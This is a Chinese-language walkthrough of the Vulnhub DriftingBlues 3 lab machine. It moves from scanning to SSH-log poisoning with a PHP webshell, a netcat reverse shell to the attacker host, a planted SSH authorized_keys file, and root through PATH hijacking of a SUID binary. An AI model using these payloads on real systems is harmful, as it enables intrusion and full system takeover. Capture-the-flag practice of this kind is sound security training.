Vulnhub: DriftingBlues: 3靶机

kali:192.168.111.111

靶机:192.168.111.192

信息收集

端口扫描

bash 复制代码
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.192

查看robots.txt得到提示

访问eventadmins提示littlequeenofspades.html

查看littlequeenofspades.html源码

base64解密后提示adminsfixit.php

访问后发现ssh日志内容会写入该文件

写入webshell

bash 复制代码
ssh '<?php system($_GET["cmd"]);?>'@192.168.111.192

执行命令

bash 复制代码
http://192.168.111.192/adminsfixit.php?cmd=id

获得反弹shell

bash 复制代码
http://192.168.111.192/adminsfixit.php?cmd=nc -e /bin/bash 192.168.111.111 4444

提权

robertj用户.ssh文件夹有写入权限

本地生成ssh公私钥,公钥文件名修改为authorized_keys后上传目标.ssh目录

bash 复制代码
ssh-keygen -f id_rsa
mv id_rsa.pub authorized_keys

登录后查找suid权限的文件

bash 复制代码
ssh robertj@192.168.111.192 -i id_rsa
find / -perm -u=s 2> /dev/null

执行该文件的同时会执行uname命令

bash 复制代码
strings getinfo

修改环境变量提权为root

bash 复制代码
echo '/bin/bash' > /tmp/uname
chmod 777 /tmp/uname
export PATH=/tmp:$PATH
/usr/bin/getinfo
相关推荐
小马哥编程21 小时前
计算机网络:无线局域网加密与认证方式
网络·计算机网络·安全
Bruce_Liuxiaowei21 小时前
Linux系统提权之计划任务(Cron Jobs)提权
linux·运维·服务器·网络安全·系统安全
爱隐身的官人1 天前
新后端漏洞(上)- Weblogic SSRF漏洞
安全·weblogic ssrf漏洞
TG_yunshuguoji1 天前
阿里云国际代理:阿里云的云数据库是什么?
服务器·数据库·安全·阿里云·云计算
骥龙1 天前
零信任架构:重塑现代企业安全基石
安全·架构
wanhengidc1 天前
云手机可以息屏挂手游吗?
运维·网络·安全·游戏·智能手机
码熔burning1 天前
Spring Security 深度学习(六): RESTful API 安全与 JWT
安全·spring·restful·springsecurity
筑梦之月1 天前
3分钟解决ZAP打开浏览器闪退问题
web安全
m0_738120721 天前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
Zacks_xdc1 天前
【前端】使用Vercel部署前端项目,api转发到后端服务器
运维·服务器·前端·安全·react.js